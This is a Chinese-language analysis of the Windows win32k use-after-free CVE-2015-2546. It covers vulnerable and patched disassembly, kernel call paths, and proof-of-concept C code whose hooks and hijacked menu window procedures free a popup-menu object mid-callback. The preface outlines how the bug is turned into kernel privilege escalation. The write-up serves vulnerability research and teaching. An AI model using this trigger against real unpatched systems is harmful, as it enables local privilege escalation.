这篇文章将分析 Windows 操作系统 win32k 内核模块窗口管理器子系统中的 CVE-2015-2546 漏洞,与上一篇分析的 CVE-2017-0263 漏洞类似地,这个漏洞也是弹出菜单 tagPOPUPMENU 对象的释放后重用(UAF)漏洞。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。

0x0 前言

这篇文章分析了发生在窗口管理器(User)子系统的菜单管理组件中的 CVE-2015-2546 UAF(释放后重用)漏洞。在内核函数 xxxMNMouseMove 调用 xxxSendMessage 向目标菜单窗口对象发送 MN_SELECTITEM 消息期间,执行流存在发生用户回调的可能性;在发送消息的函数调用返回后,函数 xxxMNMouseMove 没有重新获取目标菜单窗口对象所关联的弹出菜单 tagPOPUPMENU 对象的地址,而直接使用在发送 MN_SELECTITEM 消息之前就存储在寄存器 ebx 中的弹出菜单对象地址,将该对象地址作为参数传递给 xxxMNHideNextHierarchy 函数调用,并在该函数中对目标弹出菜单对象进行访问。

如果用户进程先前通过利用技巧构造了特殊关联和属性的菜单窗口对象,并设置特定的挂钩处理程序,那么在调用 xxxSendMessage 向目标菜单窗口对象发送 MN_SELECTITEM 消息期间,执行流返回到用户上下文,用户进程中的利用代码将有足够的能力触发销毁目标菜单窗口对象,从而在内核中直接释放菜单窗口对象关联的弹出菜单对象;当执行流返回到内核上下文时,寄存器 ebx 中存储的地址指向的内存已被释放,而函数在将该地址作为参数传递给函数 xxxMNHideNextHierarchy 之前缺少必要的验证,这将导致 UAF 漏洞的发生。

在触发销毁目标菜单窗口对象之后,用户进程中的利用代码通过巧妙的内存布局,使系统重新分配相同大小的内存区域以占用先前释放的弹出菜单对象的内存块,伪造新的弹出菜单对象并构造相关成员域,在用户进程地址空间中伪造新的子菜单窗口对象和关联的消息处理函数,并将窗口对象的地址存储在重新分配的弹出菜单对象成员域 spwndNextPopup 中。在内核中函数 xxxMNHideNextHierarchy 将向目标弹出菜单对象的成员域 spwndNextPopup指向的子菜单窗口对象发送 MN_SELECTITEM 消息,这将使执行流直接在内核上下文中直接进入定义在用户进程地址空间中的伪造消息处理函数,执行函数中的内核利用代码,实现内核利用和提权的目的。

0x1 原理

CVE-2015-2546 漏洞发生在内核函数 win32k!xxxMNMouseMove 中。在该函数执行期间,在调用函数 xxxSendMessage 向目标菜单窗口对象发送 0x1F0(MN_SETTIMERTOOPENHIERARCHY) 消息之后,如果函数返回值为 0,系统将在未对寄存器 ebx 中存储的目标弹出菜单 tagPOPUPMENU 对象的内存地址进行有效性校验的情况下就调用函数 xxxMNHideNextHierarchy 并将该地址传入函数的 popupMenu 参数。

.text:00139530    push    edi             ; lParam
.text:00139531    push    edi             ; wParam
.text:00139532    push    1F0h            ; message
.text:00139537    push    esi             ; pwnd
.text:00139538    call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:0013953D    test    eax, eax
.text:0013953F    jnz     short loc_139583
.text:00139541    push    ebx             ; popupMenu
.text:00139542    call    _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:00139547    jmp     short loc_139583

存在漏洞的目标代码片段

与补丁进行对比,发现补丁在调用函数 xxxSendMessage 发送 MN_SETTIMERTOOPENHIERARCHY 消息和调用函数 xxxMNHideNextHierarchy 的语句之间增加对目标窗口对象扩展区域指向关联弹出菜单对象的指针和寄存器 ebx 中存储数值的对比判断,如果不相等则将跳过函数 xxxMNHideNextHierarchy 的调用。

.text:BF93EC2E    push    edi             ; lParam
.text:BF93EC2F    push    edi             ; wParam
.text:BF93EC30    push    1F0h            ; message
.text:BF93EC35    push    esi             ; pwnd
.text:BF93EC36    call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93EC3B    test    eax, eax
.text:BF93EC3D    jnz     short loc_BF93EC8C
.text:BF93EC3F    mov     eax, [ebp+pwnd]
.text:BF93EC42    cmp     [eax+0B0h], ebx
.text:BF93EC48    jnz     short loc_BF93EC8C
.text:BF93EC4A    push    ebx
.text:BF93EC4B    call    _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:BF93EC50    jmp     short loc_BF93EC8C

补丁修复的目标代码片段

在 Windows 内核中,菜单对象在屏幕中的显示通过窗口 tagWND 对象的特殊类型 #32768(MENUCLASS) 菜单窗口对象来实现,菜单窗口对象末尾的扩展区域中存储指向关联的弹出菜单 tagPOPUPMENU 对象的指针。


菜单窗口对象和弹出菜单对象的对应关系

当函数 xxxSendMessage 发送 MN_SETTIMERTOOPENHIERARCHY 消息时,系统最终在函数 xxxMenuWindowProc 中接收并调用函数 MNSetTimerToOpenHierarchy 以处理消息并向调用者返回该函数的返回值。

当执行流返回到函数 xxxMNMouseMove 中时,系统判断返回值,如果返回值为 0 则调用函数 xxxMNHideNextHierarchy 以关闭目标弹出菜单 tagPOPUPMENU 对象的弹出子菜单。

由于在调用函数 xxxMNHideNextHierarchy 之前,函数 xxxMNMouseMove 中还存在调用 xxxSendMessage 函数以发送 MN_SETTIMERTOOPENHIERARCHY 消息的语句,这将有可能导致执行流反向调用到用户进程中。因此,在此期间攻击者可以在用户进程中触发逻辑使目标弹出菜单 tagPOPUPMENU 对象的内存被释放或重新分配,这将导致目标参数 popupMenu 指向内存区域中存在不可控的数据。如果攻击代码对在原位置重新分配的内存块中的数据进行刻意构造,那么在函数 xxxMNHideNextHierarchy 中向子菜单窗口对象发送消息时,将使内核上下文的执行流可能直接进入位于用户进程地址空间的利用代码函数中。

0x2 追踪

win32k 内核模块中,存在来自其他函数的两处对函数 xxxMNMouseMove 的调用:

  • xxxHandleMenuMessages(x,x,x)+2E9
  • xxxMenuWindowProc(x,x,x,x)+D1C

其中一处是在函数 xxxHandleMenuMessages 处理 WM_MOUSEMOVEWM_NCMOUSEMOVE 消息时,另一处是在函数 xxxMenuWindowProc 处理 MN_MOUSEMOVE 消息时。

通过 WinDBG 对函数 xxxMNMouseMove 下断点并在虚拟机桌面区域弹出右键菜单,观测在自然条件下系统会通过哪些路径调用该函数,发现得到的调用栈都基本如下:

 # ChildEBP RetAddr
00 98af4a90 94779066 win32k!xxxMNMouseMove
01 98af4aec 94778c1f win32k!xxxHandleMenuMessages+0x2ed
02 98af4b38 9477f8f1 win32k!xxxMNLoop+0x2c6
03 98af4ba0 9477f9dc win32k!xxxTrackPopupMenuEx+0x5cd
04 98af4c14 83e501ea win32k!NtUserTrackPopupMenuEx+0xc3
05 98af4c14 76e170b4 nt!KiFastCallEntry+0x12a

函数 xxxMNMouseMove 的自然条件调用栈


xxxMNMouseMove

函数 xxxMNMouseMove 用来处理鼠标移动到指定坐标点的消息。在函数 xxxMNMouseMove 开始的位置,函数判断通过参数传入的弹出菜单 tagPOPUPMENU 对象是否为当前的根弹出菜单对象,并判断传入的鼠标坐标与先前存储在当前菜单状态 tagMENUSTATE 结构体的坐标相比是否确实改变,如果不满足条件则直接返回。接下来函数通过调用 xxxMNFindWindowFromPoint 函数并将目标弹出菜单对象指针和新的坐标作为参数传入,以查找该坐标点坐落的在屏幕中显示的菜单窗口对象。当返回值是真实的菜单窗口对象地址时,函数将该窗口对象作为目标窗口对象,将鼠标坐标位于的菜单项序号作为参数 wParam 向目标窗口对象发送 0x1E5(MN_SELECTITEM) 消息以执行选择菜单项的操作,并接收函数的返回值作为反馈标志变量。

在调用 xxxSendMessage 以发送 MN_SETTIMERTOOPENHIERARCHY 消息的语句之前,函数 xxxMNMouseMove 判断前面返回的反馈标志变量的数值,以确保被指针指向的菜单项关联另一个弹出式菜单(MF_POPUP)作为子菜单,并且不处于禁用状态(MFS_GRAYED)。

.text:00139517    xor     edi, edi
.text:00139519    push    edi             ; lParam
.text:0013951A    push    [ebp+cmdItem]   ; wParam
.text:0013951D    push    1E5h            ; message
.text:00139522    push    esi             ; pwnd
.text:00139523    call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:00139528    test    al, 10h         ; MF_POPUP
.text:0013952A    jz      short loc_139583
.text:0013952C    test    al, 3           ; MFS_GRAYED
.text:0013952E    jnz     short loc_139583

函数 xxxMNMouseMove 判断选择菜单项反馈的标志变量数值

接下来函数通过调用函数 xxxSendMessage 向目标菜单窗口对象发送 MN_SETTIMERTOOPENHIERARCHY 消息来设置打开弹出子菜单的定时器。如果函数返回值为 0 表示弹出子菜单的操作执行失败,那么函数调用 xxxMNHideNextHierarchy 来关闭所属于当前的目标弹出菜单对象的子弹出菜单。

  popupNext = popupMenu->spwndNextPopup;
  if ( popupNext )
  {
    [...]
    popupNext = popupMenu->spwndNextPopup;
    if ( popupNext != popupMenu->spwndActivePopup )
      xxxSendMessage(popupNext, 0x1E4, 0, 0); // MN_CLOSEHIERARCHY
    xxxSendMessage(popupMenu->spwndNextPopup, 0x1E5, 0xFFFFFFFF, 0); // MN_SELECTITEM
    [...]
  }

函数 xxxMNHideNextHierarchy 的代码片段

函数 xxxMNHideNextHierarchy 判断目标弹出菜单对象的成员域 spwndNextPopup 指向的菜单窗口对象是否和成员域 spwndActivePopup 指向的相同。成员域 spwndNextPopup 指向与当前弹出菜单对象直接关联的子菜单的菜单窗口对象;而成员域 spwndActivePopup 用来存储当前正活跃菜单(即当前鼠标或键盘焦点所在的菜单)的菜单窗口对象。如果不相同,那么函数向成员域 spwndNextPopup 指向的子菜单窗口对象发送 MN_CLOSEHIERARCHY 消息,最终在消息处理函数 xxxMenuWindowProc 中接收该消息并对目标窗口对象关联的弹出菜单对象调用 xxxMNCloseHierarchy 以处理关闭子菜单的菜单对象菜单层叠状态的任务。

紧接着函数调用 xxxSendMessage 向子菜单窗口对象发送 MN_SELECTITEM 消息并向参数 wParam 传入 0xFFFFFFFF 数值以表示没有选择真实的菜单项,最终消息处理程序调用函数 xxxMNSelectItem 来处理选择菜单项的任务。


函数 xxxMNMouseMove 的简要执行逻辑

像前面提到的那样,在调用 xxxSendMessage 向成员域 spwndNextPopup 指向的子菜单窗口对象发送消息之前,函数 xxxMNHideNextHierarchy 缺少对目标弹出菜单对象和传入参数的子菜单窗口对象进行必要的验证。


xxxMNFindWindowFromPoint

弹出菜单和其存在的子弹出菜单通过弹出菜单对象的成员域 spwndNextPopupspwndPrevPopup 相互关联。


弹出菜单对象和其存在的子弹出菜单对象的关联

像函数名称前缀 xxx 所代表的含义那样,函数 xxxMNFindWindowFromPoint 中存在回调到用户上下文执行的代码逻辑。函数判断第一个参数指向的弹出菜单 tagPOPUPMENU 对象的成员域 spwndNextPopup 是否指向存在的子菜单窗口对象,如果是则函数调用 xxxSendMessage 向子菜单窗口对象发送 MN_FINDMENUWINDOWFROMPOINT 消息以将查找坐标点坐落的菜单窗口对象的任务暂时交给子菜单对象执行。

*puIndex = 0;
pwndNextPopup = popupMenu->spwndNextPopup;
if ( pwndNextPopup )
{
  tlpwndT = gptiCurrent->ptl;
  gptiCurrent->ptl = (_TL *)&tlpwndT;
  v24 = pwndNextPopup;
  ++pwndNextPopup->head.cLockObj;
  longHit = xxxSendMessage(
         popupMenu->spwndNextPopup,
         0x1EB, // MN_FINDMENUWINDOWFROMPOINT
         (WPARAM)&itemHit,
         (unsigned __int16)screenPt | (screenPt >> 16 << 16));
  ThreadUnlock1();
  if ( IsMFMWFPWindow(longHit) )
    longHit = HMValidateHandleNoSecure((HWND)longHit, 1);
  if ( longHit )
  {
    *puIndex = itemHit;
    return longHit;
  }
}

函数 xxxMNFindWindowFromPoint 的代码逻辑片段

在通过函数 xxxSendMessageTimeout 向窗口对象发送消息时,系统在调用对象指定的消息处理程序之前,还会调用 xxxCallHook 函数用来调用先前由用户进程设定的 WH_CALLWNDPROC 类型的挂钩处理程序。设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。

if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
  v22 = pwnd->head.h;
  v20 = wParam;
  v19 = lParam;
  v21 = message;
  v23 = 0;
  xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}

函数 xxxSendMessageTimeout 调用 xxxCallHook 函数

系统最终在菜单窗口消息处理函数 xxxMenuWindowProc 中接收并处理 MN_FINDMENUWINDOWFROMPOINT 消息,并将子菜单窗口对象的弹出菜单对象作为目标参数以继续调用 xxxMNFindWindowFromPoint 函数。

case 0x1EBu:
  pwnd = xxxMNFindWindowFromPoint(popupMenu, wParam, lprc);
  if ( IsMFMWFPWindow(pwnd) )
  {
    if ( !pwnd )
      return 0;
    lRet = (LRESULT)*pwnd; // pwnd->head.h
  }
  else
  {
    lRet = pwnd;
  }
  return lRet;

函数 xxxMenuWindowProc 处理 MN_FINDMENUWINDOWFROMPOINT 消息

函数 xxxSendMessage 向调用者函数 xxxMNFindWindowFromPoint 返回通过子菜单窗口对象查找的坐标点坐落窗口对象的用户句柄。接下来函数将该句柄转换成窗口对象指针,如果该指针指向真实的菜单窗口对象,则直接将该指针作为返回值返回。然而,如果目标弹出菜单对象的成员域 spwndNextPopup 不存在关联的子菜单窗口对象,或是函数 xxxSendMessage 返回的是 0xFFFFFFFB0xFFFFFFFF 等代表窗口对象未找到的返回值,那么函数将继续向下执行,转而通过弹出菜单对象成员域 spwndPopupMenu 指向的当前菜单窗口对象执行查找任务。


函数 xxxMNFindWindowFromPoint 的简要执行流


xxxMNDestroyHandler

当在内核中调用函数 xxxDestroyWindow 销毁特定的菜单窗口对象期间,系统在函数 xxxFreeWindow 中根据目标窗口对象的成员域 fnid 的值调用对应的消息处理包装函数 xxxWrapMenuWindowProc 并传入 WM_FINALDESTROY 消息参数,最终在函数 xxxMenuWindowProc 中接收该消息并通过调用函数 xxxMNDestroyHandler 对目标菜单窗口对象关联的弹出菜单对象执行清理相关数据的任务。

.text:0008D9B6    lea     ecx, [eax+6]
.text:0008D9B9    xor     eax, eax
.text:0008D9BB    push    eax
.text:0008D9BC    push    eax
.text:0008D9BD    push    eax
.text:0008D9BE    mov     eax, _gpsi
.text:0008D9C3    push    70h        ; WM_FINALDESTROY
.text:0008D9C5    and     ecx, 1Fh
.text:0008D9C8    push    esi
.text:0008D9C9    call    dword ptr [eax+ecx*4+8]

函数 xxxFreeWindow 根据成员域 fnid 调用消息处理包装函数

在函数 xxxMNDestroyHandler 的末尾,函数将位于目标菜单窗口 tagWND 对象末尾扩展区域中指向关联的弹出菜单对象的指针置空;然后判断目标弹出菜单对象的成员标志位 fDelayedFree 是否处于置位状态,并据此决定是在完整菜单终止时再进行对目标弹出菜单对象的延时释放,还是在当前时刻立即释放目标弹出菜单对象。

pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
  *(_DWORD *)(pwnd + 0xB0) = 0;  // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
  popupmenuRoot = popupMenu->ppopupmenuRoot;
  if ( popupmenuRoot )
    *(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
  MNFreePopup(popupMenu);
}

函数 xxxMNDestroyHandler 的代码片段

在内核中通过正规途径创建上下文弹出菜单对象时,根弹出菜单对象或子弹出菜单对象的成员标志位 fDelayedFree 默认情况下都会在函数 xxxTrackPopupMenuExxxxMNOpenHierarchy 中被置位。


另外,和本分析中的漏洞相关的更多系统机制在我之前的分析文章《从 CVE-2017-0263 漏洞分析到菜单管理组件》中有更详尽的涉及,如果感兴趣的话请点击链接移步。

0x3 验证

通过在桌面点击鼠标右键,并使鼠标指针指向某个作为子弹出菜单入口的子菜单项(如“新建”命令)以尝试使执行流触达漏洞所在的位置,我发现始终无法命中,这是由于系统每次向目标菜单窗口发送 MN_SETTIMERTOOPENHIERARCHY 消息时都执行成功并返回成功的返回值,这样一来自然就不会触达漏洞所在的 xxxMNHideNextHierarchy 函数调用,因此需要自行构造验证代码以实现漏洞触发。

接下来谈一下触发的思路:


#1 使 MN_SETTIMERTOOPENHIERARCHY 消息返回失败

在函数 xxxMNMouseMove 执行期间,要想使发送 MN_SETTIMERTOOPENHIERARCHY 消息的 xxxSendMessage 函数调用返回失败的返回值,最直接的做法就是在调用之前的某个时机将目标菜单窗口对象的消息处理函数篡改为在用户进程中的自定义消息处理函数,并在自定义消息处理函数中针对这种消息返回失败的返回值。


#2 释放目标弹出菜单对象

要想在漏洞所在位置触发释放后重用(UAF)漏洞,则需要在适当时机执行对目标弹出菜单 tagPOPUPMENU 对象的释放。这个操作最好能在通过函数 xxxSendMessage 发送 MN_SETTIMERTOOPENHIERARCHY 消息期间执行。

前面已经提到,在发送消息时,调用对象指定的消息处理函数之前,系统会调用 xxxCallHook 函数分发调用先前由用户进程定义的 WH_CALLWNDPROC 挂钩处理程序。因此,我们可以通过设置这种类型的挂钩处理程序,并在处理程序函数中对目标菜单窗口对象调用 DestroyWindow 等函数以触发对目标窗口对象的销毁操作。

调用 DestroyWindow 函数时,在内核中将进入函数 xxxDestroyWindow 中执行对目标菜单窗口对象的销毁操作。最终在内核函数 xxxMNDestroyHandler 中,如果目标菜单窗口对象的成员标志位 fDelayedFree 未置位,那么系统将直接调用函数 MNFreePopup 释放目标弹出菜单对象。


释放目标弹出菜单对象的思路

然而,在内核中通过正规途径创建上下文弹出菜单对象时,根弹出菜单对象或子弹出菜单对象的成员标志位 fDelayedFree 默认情况下都会在函数 xxxTrackPopupMenuExxxxMNOpenHierarchy 中被置位,因此我们需要先前单独创建窗口类型为 #32768(MENUCLASS) 的窗口对象作为被利用的目标对象,而不是使用通过正规途径创建的菜单窗口对象,这样一来新创建的菜单窗口对象同样存在通过扩展区域关联的弹出菜单 tagPOPUPMENU 对象作为扩展对象,并且所关联的弹出菜单 tagPOPUPMENU 对象的成员域 fDelayedFree 将不会被置位,后续在函数 xxxMNDestroyHandler 中的释放操作将立即执行。


#3 使 xxxMNFindWindowFromPoint 返回目标窗口对象

由于用来利用的目标菜单窗口对象是我们单独创建的,并不存在具体对应的某个菜单实体对象,因此通常情况下函数 xxxMNFindWindowFromPoint 不可能返回我们创建的菜单窗口对象指针。

根据前面的分析,函数 xxxMNFindWindowFromPoint 判断通过参数传入的弹出菜单对象成员域 spwndNextPopup 是否指向存在的子菜单窗口对象,如果是则调用 xxxSendMessage 向子菜单窗口对象发送 MN_FINDMENUWINDOWFROMPOINT 以将查找坐标点坐落的菜单窗口对象的任务暂时交给子菜单对象执行。

这样一来,可以将子菜单窗口对象的消息处理函数成员域篡改为用户进程中的自定义消息处理函数,并在自定义消息处理函数中返回我们先前创建的用来利用的目标菜单窗口对象的句柄。因此,函数 xxxMNFindWindowFromPoint 将收到由 xxxSendMessage 函数返回的真实的窗口对象句柄,并在转换成对象指针后向上级调用者返回。

而由于子菜单窗口对象关联具体的菜单,很多向其发送的消息需要在消息处理函数 xxxMenuWindowProc 中执行,因此需要在较为接近的时机替换。这可以通过设置 WH_CALLWNDPROC 挂钩处理程序来执行。


#4 触发鼠标移动消息

这样一来,这就需要在利用代码中创建相互关联的根菜单和子菜单。

当子菜单完成在屏幕中的显示时,根菜单窗口对象和子菜单窗口对象已经通过各自的弹出菜单 tagPOPUPMENU 对象完成关联。在这一时机通过在用户进程定义的事件通知处理程序函数中调用函数 SendMessage 向根菜单窗口对象发送 WM_MOUSEMOVE 消息,可以使系统在内核中进入函数 xxxMNMouseMove 调用。


验证代码的实现

接下来根据思路实现具体的验证代码,用户进程中验证代码的大部分代码逻辑都在新创建的单独线程中执行。

在验证代码的主函数中通过 CreatePopupMenu 等函数创建两个弹出式的菜单对象,并在添加菜单项时将两个菜单对象相互关联,使第二个成为第一个的子菜单。

HMENU hMenuList[2] = { 0 };
hMenuList[0]  = CreatePopupMenu();
hMenuList[1]  = CreatePopupMenu();

MENUINFO mi = { 0 };
mi.cbSize  = sizeof(mi);
mi.fMask   = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuList[0], &mi);
SetMenuInfo(hMenuList[1], &mi);

LPCSTR szMenuItem = "item";
AppendMenuA(hMenuList[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuList[1], szMenuItem);
AppendMenuA(hMenuList[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

创建并关联根菜单和子菜单对象的验证代码

菜单的显示需要有用于承载的窗口作为菜单的拥有者窗口对象。注册并创建普通窗口类和窗口对象并将句柄存储在 hWindowMain 全局变量中:

WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    L"WNDCLASSMAIN",
    NULL,
    WS_VISIBLE,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

创建拥有者窗口对象的验证代码

接下来创建关键的 #32768 类型的菜单窗口对象并将句柄存储在 hwndFakeMenu 全局变量中,这个窗口对象接下来将作为用来利用的目标对象。同时将新创建目标窗口对象的消息处理函数成员域篡改为由验证代码后续自定义的 xxFakeMenuWindowProc 消息处理函数。

hwndFakeMenu = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
    L"#32768",
    NULL,
    WS_POPUP | WS_BORDER,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    NULL,
    NULL);
SetWindowLongW(hwndFakeMenu, GWL_WNDPROC, (LONG)xxFakeMenuWindowProc);

创建用来利用的菜单窗口对象的验证代码

设置类型为 WH_CALLWNDPROC 的自定义挂钩处理程序,并设置范围包括 EVENT_SYSTEM_MENUPOPUPSTART 的自定义事件通知处理程序。

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
    GetModuleHandleA(NULL),
    GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
    GetModuleHandleA(NULL),
    xxWindowEventProc,
    GetCurrentProcessId(),
    GetCurrentThreadId(),
    0);

设置自定义挂钩处理程序和事件通知处理程序的验证代码

接下来通过调用 TrackPopupMenuEx 函数触发作为根菜单的第一个菜单对象在屏幕中的显示;然后使用 GetMessage 使当前线程进入消息循环状态。

TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}

触发第根菜单对象在屏幕中显示的验证代码

当用户进程调用函数 TrackPopupMenuEx 时,系统在内核中最终调用到 xxxTrackPopupMenuEx 函数处理弹出菜单操作。在显示任务执行完成时,函数调用 xxxWindowEvent 以分发 EVENT_SYSTEM_MENUPOPUPSTART 类型的事件通知,这表示目标菜单对象已显示在屏幕中。

在该事件通知分发后,执行流会进入验证代码自定义的事件通知处理程序 xxWindowEventProc 中。在处理程序中进行计数,并存储每次进入时的窗口句柄 hwnd 参数。当第一次进入处理程序函数时,表示根菜单已显示在屏幕中,处理程序将窗口句柄参数存储在全局变量 hwndRootMenu 中,并调用函数 SendMessage 向根菜单窗口对象发送 WM_LBUTTONDOWN 鼠标左键按下的消息以触发子菜单的弹出显示,并在参数 lParam 传入鼠标按下的相对坐标,坐标值应在当前菜单的子菜单项区域范围内,这将在内核中进入函数 xxxMNOpenHierarchy 处理子菜单的显示。与前面同样地,在显示任务执行完成时,函数调用 xxxWindowEvent 以分发 EVENT_SYSTEM_MENUPOPUPSTART 类型的事件通知,这表示目标菜单对象已显示在屏幕中。

当第二次进入处理程序函数时,表示子菜单已显示在屏幕中,根菜单窗口对象和子菜单窗口对象此时已经通过各自的弹出菜单 tagPOPUPMENU 对象完成关联。处理程序将窗口句柄参数存储在全局变量 hwndHintMenu 中,并调用函数 SendMessage 向第一次进入时存储的根菜单窗口对象 hwndRootMenu 发送 WM_MOUSEMOVE 鼠标移动的消息。这将使执行流在内核中进入 xxxMNMouseMove 函数中。

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    switch (iMenuCreated)
    {
    case 0:
        hwndRootMenu = hwnd;
        SendMessageW(hwndRootMenu, WM_LBUTTONDOWN, 0, 0x00050005);
        break;
    case 1:
        hwndHintMenu = hwnd;
        SendMessageW(hwndRootMenu, WM_MOUSEMOVE, 0, 0x00060006);
        break;
    }
    iMenuCreated++;
}

验证代码自定义的事件通知处理程序函数

需要注意的是,这两次对函数 SendMessage 的调用中,参数 lParam 均作为鼠标指针的相对坐标,其 32 位数据的高低 16 位分别存储横坐标和纵坐标的相对值。两次调用时传入的 lParam 参数不能重复,否则将导致在函数 xxxMNMouseMove 中判断坐标是否改变时得到未改变的结果,函数将直接返回。

在函数 xxxMNMouseMove 执行期间,系统调用函数 xxxMNFindWindowFromPoint 查找坐标点坐落的菜单窗口对象指针。由于我们为根菜单创建并关联了子菜单对象,并且子菜单对象已显示在屏幕中,因此当前的根弹出菜单对象成员域 spwndNextPopup 指向子菜单窗口对象的地址。函数 xxxMNFindWindowFromPoint 将向子菜单窗口对象发送 MN_FINDMENUWINDOWFROMPOINT 消息。在函数 xxxSendMessageTimeout 调用对象指定的消息处理程序之前,将首先调用 xxxCallHook 函数以分发先前由用户进程设定的 WH_CALLWNDPROC 类型的挂钩处理程序。这将进入先前验证代码自定义的挂钩处理程序函数 xxWindowHookProc 中。

在自定义挂钩处理程序函数中,参数 lParam 指向 tagCWPSTRUCT 类型的对象。验证代码判断 tagCWPSTRUCT 对象的成员域 message 的值,当该值为 0x1EB 时,表示当前在内核中正处于在函数 xxxSendMessageTimeout 中调用子菜单窗口对象的消息处理函数以投递 MN_FINDMENUWINDOWFROMPOINT 消息之前。

验证代码判断当前的目标窗口对象句柄是否为先前存储的子菜单窗口句柄,如果是的话则修改目标窗口对象的消息处理函数为自定义的 xxHintMenuWindowProc 消息处理函数。

LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (cwp->message == 0x1EB && cwp->hwnd == hwndHintMenu)
    {
        // MN_FINDMENUWINDOWFROMPOINT
        SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxHintMenuWindowProc);
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

验证代码自定义的挂钩处理程序函数

执行流回到 xxxSendMessageTimeout 函数中,此时目标菜单窗口对象的消息处理函数已被篡改为自定义的 xxHintMenuWindowProc 消息处理函数,因此将在接下来回调到用户上下文执行该自定义消息处理函数实现消息投递。在函数 xxHintMenuWindowProc 中直接返回先前创建用于利用的 hwndFakeMenu 窗口对象句柄。

LRESULT WINAPI
xxHintMenuWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == 0x1EB)
    {
        return (LRESULT)hwndFakeMenu;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

验证代码自定义的子菜单窗口对象消息处理函数

在内核中,函数 xxxMNFindWindowFromPointxxxSendMessage 函数的返回值作为查找到的窗口句柄并转换成窗口对象,将窗口对象地址作为返回值向上级调用者返回。

在执行一系列的判断等操作之后,函数 xxxMNMouseMove 调用 xxxSendMessage 函数向查找到的目标菜单窗口对象发送 MN_SELECTITEM 消息。这将进入验证代码自定义的利用菜单窗口对象消息处理函数 xxFakeMenuWindowProc 中。

在函数 xxFakeMenuWindowProc 中,验证代码判断消息参数的值。当消息参数值为 0x1E5 时,表示当前正在处理的是 MN_SELECTITEM 消息,根据内核函数的代码逻辑,验证代码在这里将 MF_POPUP(0x00000010L) 作为返回值返回。

函数 xxxMNMouseMove 在对返回的标志变量进行判断之后,调用函数 xxxSendMessage 发送向目标菜单窗口对象发送 MN_SETTIMERTOOPENHIERARCHY 消息。这将再次进入自定义消息处理函数中。

在函数 xxFakeMenuWindowProc 中,验证代码判断消息参数值为 0x1F0 时,直接将 0 作为返回值返回。在内核中函数将得到“调用失败”的返回值,因此将继续向下调用 xxxMNHideNextHierarchy 函数。

LRESULT WINAPI
xxFakeMenuWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    switch (msg)
    {
    case 0x1E5:
        return (LRESULT)MF_POPUP;
    case 0x1F0:
        return (LRESULT)0;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

验证代码自定义的利用菜单窗口对象消息处理函数

在调用对象指定的消息处理函数以投递 MN_SETTIMERTOOPENHIERARCHY 消息之前,函数 xxxSendMessageTimeout 还调用 xxxCallHook 函数分发挂钩处理程序。在自定义的挂钩处理程序函数 xxWindowHookProc 中,增加对成员域 message 数值的判断:

message 数值为 0x1F0 时,验证代码调用 DestroyWindow 触发销毁先前创建用来利用的 hwndFakeMenu 菜单窗口对象。

if (cwp->message == 0x1F0)
{
    DestroyWindow(hwndFakeMenu);
}

自定义挂钩处理程序函数增加 message 判断处理逻辑

此时在内核中将对目标菜单窗口对象调用 xxxDestroyWindow 函数。在该函数执行期间,由于成员域 fDelayFree 未被置位,目标菜单窗口对象所关联的弹出菜单 tagPOPUPMENU 对象将被立刻销毁,扩展区域指向弹出菜单对象的指针将被置空。而由于锁计数尚未归零,因此目标菜单窗口对象将仍旧存留与内核中,暂时不会被释放。

